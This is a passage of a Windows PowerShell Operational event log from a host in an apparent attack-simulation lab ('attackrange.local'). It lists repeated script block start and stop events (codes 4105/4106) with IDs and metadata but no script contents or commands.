Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036676
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036675
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036674
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036673
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036672
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036671
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036670
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036669
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036668
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036667
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036666
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036665
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036664
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036663
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036662
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036661
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036660
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036659
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036658
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036657
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036656
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036655
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036654
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036653
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036652
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036651
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036650
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036649
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036648
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036647
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036646
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036645
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036644
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036643
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036642
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036641
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036640
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036639
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036638
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036637
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036636
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036635
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036634
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036633
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036632
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036631
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036630
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036629
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036628
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036627
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036626
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036625
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036624
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
